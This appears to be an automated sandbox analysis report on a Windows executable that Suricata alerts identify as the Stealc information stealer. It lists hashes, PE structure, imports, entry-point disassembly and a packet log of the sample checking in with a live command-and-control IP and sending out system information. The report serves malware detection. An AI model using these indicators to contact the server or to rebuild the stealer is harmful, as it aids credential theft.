URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.271127613677151
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	I43xo3KKfS.exe
File size:	712'704 bytes
MD5:	70601976ccafcd842cf413a269f70e7c
SHA1:	bc582afa67b9000676edf999d1077d9c3d425f94
SHA256:	a7d56a398503b0a313f781842427619c39f6d45eef285e2139e8e7e2d7640a6b
SHA512:	f106c9106a195b276d4891dd052b73a29ea49938e47d508e1cb93cb33b1f104da8c60b7c8a0b4a359967522cda968bb9eed0e27abbe4620c6769e5100152a66b
SSDEEP:	12288:Vnjrb7cQKwwSjBWBP225wg3Xkspj2P/zs4wOx8FF87Y3Ecgt/0hSiMHXfN:Vnj7hwS1WBP225DnkkqXzsz3RTE0hSiE
TLSH:	0BE4F1136295EE67E9A146718D3EC2F9762EB5218E59376B32187F3F24B02B2C573310
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b.1.&._A&._A&._A8..A=._A8..A8._A8..AA._A..$A%._A&.^AW._A8..A'._A8..A'._A8..A'._ARich&._A........PE..L.....5f...................

File Icon


Icon Hash:	63396dc971436e0f

Static PE Info

General

Entrypoint:	0x404fc0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x663580BE [Sat May 4 00:26:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	4e9ba761d44b499978664315a13e3b55

Entrypoint Preview

Instruction
call 00007F3624E902BCh
jmp 00007F3624E8DA9Eh
mov edi, edi
push ebp
mov ebp, esp
push edi
mov edi, 000003E8h
push edi
call dword ptr [004010C0h]
push dword ptr [ebp+08h]
call dword ptr [004010BCh]
add edi, 000003E8h
cmp edi, 0000EA60h
jnbe 00007F3624E8DC26h
test eax, eax
je 00007F3624E8DC00h
pop edi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
call 00007F3624E8E368h
push dword ptr [ebp+08h]
call 00007F3624E8E1B5h
push dword ptr [0049301Ch]
call 00007F3624E8FB2Dh
push 000000FFh
call eax
add esp, 0Ch
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
push 004011DCh
call dword ptr [004010BCh]
test eax, eax
je 00007F3624E8DC37h
push 004011CCh
push eax
call dword ptr [00401084h]
test eax, eax
je 00007F3624E8DC27h
push dword ptr [ebp+08h]
call eax
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F3624E8DBEDh
pop ecx
push dword ptr [ebp+08h]
call dword ptr [004010C4h]
int3
push 00000008h
call 00007F3624E90426h
pop ecx
ret
push 00000008h
call 00007F3624E90343h
pop ecx
ret
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, eax
jmp 00007F3624E8DC2Dh
mov eax, dword ptr [esi]
test eax, eax
je 00007F3624E8DC24h

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x92454	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9e000	0x142b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2eb000	0xa90	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3f18	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x170	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x91cb0	0x91e00	a062ba39aed5128d8b6c091fc1c3d31b	False	0.8680326826263924	data	7.623967855534544	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x93000	0x9a20	0x5e00	ddb23a8e2087fa936f6219433067272b	False	0.08822307180851063	data	1.0376053149566904	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.hez	0x9d000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9e000	0x24c2b0	0x14400	d751b7f7f53c9ff7ec64c646cf740bbf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2eb000	0x16f4	0x1800	92cf16534350c6865aa2171a97af0042	False	0.3849283854166667	data	3.798399311862253	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RELUZUZIJEREB	0xa9830	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.5880450252296545
RELUZUZIJEREB	0xa9830	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.5880450252296545
RIXIZUTOK	0xa7ad8	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Tamil	India	0.6047337278106509
RIXIZUTOK	0xa7ad8	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Tamil	Sri Lanka	0.6047337278106509
WIPOPABIZOVOZAVOBIMOZOZ	0xa84c0	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	India	0.5911557788944724
WIPOPABIZOVOZAVOBIMOZOZ	0xa84c0	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	Sri Lanka	0.5911557788944724
RT_CURSOR	0xab6c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0xac568	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0xace10	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0xad3a8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0xad4d8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0xad5b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0xae458	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0xaed00	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0xaf298	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0xb0140	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0xb09e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x9e870	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5311059907834101
RT_ICON	0x9e870	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5311059907834101
RT_ICON	0x9ef38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.41234439834024894
RT_ICON	0x9ef38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.41234439834024894
RT_ICON	0xa14e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.44769503546099293
RT_ICON	0xa14e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.44769503546099293
RT_ICON	0xa1978	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.49013859275053306
RT_ICON	0xa1978	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.49013859275053306
RT_ICON	0xa2820	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4666064981949459
RT_ICON	0xa2820	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4666064981949459
RT_ICON	0xa30c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.4356936416184971
RT_ICON	0xa30c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.4356936416184971
RT_ICON	0xa3630	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.27894190871369295
RT_ICON	0xa3630	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.27894190871369295
RT_ICON	0xa5bd8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2856472795497186
RT_ICON	0xa5bd8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2856472795497186
RT_ICON	0xa6c80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.3086065573770492
RT_ICON	0xa6c80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.3086065573770492
RT_ICON	0xa7608	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3395390070921986
RT_ICON	0xa7608	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3395390070921986
RT_DIALOG	0xb11e0	0x58	data			0.8977272727272727
RT_STRING	0xb1238	0x3fa	data	Tamil	India	0.4489194499017682
RT_STRING	0xb1238	0x3fa	data	Tamil	Sri Lanka	0.4489194499017682
RT_STRING	0xb1638	0x318	data	Tamil	India	0.48863636363636365
RT_STRING	0xb1638	0x318	data	Tamil	Sri Lanka	0.48863636363636365
RT_STRING	0xb1950	0x5c2	data	Tamil	India	0.4314789687924016
RT_STRING	0xb1950	0x5c2	data	Tamil	Sri Lanka	0.4314789687924016
RT_STRING	0xb1f18	0x396	data	Tamil	India	0.45098039215686275
RT_STRING	0xb1f18	0x396	data	Tamil	Sri Lanka	0.45098039215686275
RT_ACCELERATOR	0xab668	0x58	data	Tamil	India	0.7954545454545454
RT_ACCELERATOR	0xab668	0x58	data	Tamil	Sri Lanka	0.7954545454545454
RT_GROUP_CURSOR	0xad378	0x30	data			0.9375
RT_GROUP_CURSOR	0xad588	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0xaf268	0x30	data			0.9375
RT_GROUP_CURSOR	0xb0f50	0x30	data			0.9375
RT_GROUP_ICON	0xa1948	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0xa1948	0x30	data	Tamil	Sri Lanka	0.9375
RT_GROUP_ICON	0xa7a70	0x68	data	Tamil	India	0.7019230769230769
RT_GROUP_ICON	0xa7a70	0x68	data	Tamil	Sri Lanka	0.7019230769230769
RT_VERSION	0xb0f80	0x25c	data			0.5447019867549668

Imports

DLL

Import

KERNEL32.dll

GetTempFileNameW, GetConsoleAliasExesA, CallNamedPipeA, CreateProcessW, InterlockedIncrement, OpenJobObjectA, InterlockedDecrement, GetCurrentProcess, CreateJobObjectW, WriteConsoleInputA, GetComputerNameW, GetTimeFormatA, FreeEnvironmentStringsA, GetTickCount, GetCommConfig, GetDllDirectoryW, GetNumberFormatA, ClearCommBreak, EnumTimeFormatsA, TlsSetValue, GetCurrencyFormatW, SetFileShortNameW, LoadLibraryW, IsBadCodePtr, GetFileAttributesW, GetModuleFileNameW, GetShortPathNameA, LCMapStringA, InterlockedExchange, GlobalUnfix, GetLogicalDriveStringsA, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, DefineDosDeviceW, LoadLibraryA, SetEnvironmentVariableA, GlobalUnWire, GetCurrentDirectoryA, OpenEventW, GetVersionExA, ReadConsoleInputW, SetFileAttributesW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, HeapAlloc, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsFree, GetCurrentThreadId, HeapCreate, VirtualFree, HeapFree, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, LeaveCriticalSection, EnterCriticalSection, TerminateProcess, IsDebuggerPresent, InitializeCriticalSectionAndSpinCount, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetModuleHandleA, RtlUnwind, HeapSize, GetLocaleInfoA, WideCharToMultiByte, RaiseException, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T09:07:05.927990+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	45.88.105.105	80	TCP
2024-10-31T09:07:06.176191+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49709	45.88.105.105	80	TCP
2024-10-31T09:07:06.182339+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.88.105.105	80	192.168.2.6	49709	TCP
2024-10-31T09:07:06.423462+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49709	45.88.105.105	80	TCP
2024-10-31T09:07:06.430275+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.88.105.105	80	192.168.2.6	49709	TCP
2024-10-31T09:07:07.093268+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49709	45.88.105.105	80	TCP
2024-10-31T09:07:07.658640+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	45.88.105.105	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 09:06:58.673345089 CET	49673	443	192.168.2.6	173.222.162.64
Oct 31, 2024 09:06:58.673352003 CET	49674	443	192.168.2.6	173.222.162.64
Oct 31, 2024 09:06:58.970274925 CET	49672	443	192.168.2.6	173.222.162.64
Oct 31, 2024 09:07:04.691524982 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:04.697575092 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:04.697640896 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:04.698528051 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:04.703294039 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:05.171843052 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:05.171885967 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:05.172063112 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:05.172744989 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:05.172760010 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:05.533236980 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:05.533409119 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:05.536859035 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:05.541685104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:05.927927017 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:05.927989960 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:05.929428101 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:05.934215069 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.176096916 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.176179886 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.176191092 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.176223993 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.177541971 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.182338953 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.329443932 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:06.329538107 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.334747076 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.334774017 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:06.335201025 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:06.337064028 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.337126970 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.337138891 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:06.337266922 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.383333921 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:06.423379898 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.423463106 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.423461914 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.423477888 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.423501015 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.423527956 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.423723936 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.423763037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.423890114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.423902988 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.423913956 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.423928976 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.423955917 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.425396919 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.430274963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.591464043 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:06.591892958 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.591929913 CET	443	49710	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:06.591954947 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.591985941 CET	49710	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:06.670855999 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.670907021 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.699577093 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.699678898 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:06.704649925 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.704660892 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.704669952 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.704679966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.704696894 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:06.704709053 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.093111038 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.093267918 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.413765907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.418637991 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.658523083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.658539057 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.658550978 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.658639908 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.658689976 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.658874035 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.658885956 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.658898115 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.658917904 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.658946991 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.659256935 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.659269094 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.659281015 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.659302950 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.659322023 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.659580946 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.659595013 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.659619093 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.659642935 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.660027027 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.660065889 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.660084963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.660096884 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.660125971 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.660140038 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.779501915 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.779546976 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.779592037 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.779606104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.779633045 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.779645920 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.779841900 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.779890060 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.779927969 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.779968977 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780051947 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780090094 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780121088 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780157089 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780261040 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780272961 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780284882 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780307055 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780327082 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780659914 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780697107 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780817986 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780853033 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780929089 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780942917 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.780962944 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.780983925 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.781174898 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.781213045 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.781385899 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.781424046 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.781511068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.781523943 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.781546116 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.781573057 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.781742096 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.781754971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.781778097 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.781799078 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.782254934 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.782301903 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.782337904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.782350063 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.782380104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.782592058 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.782628059 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:07.896712065 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:07.896725893 CET	80	49709	45.88.105.105	192.168.2.6
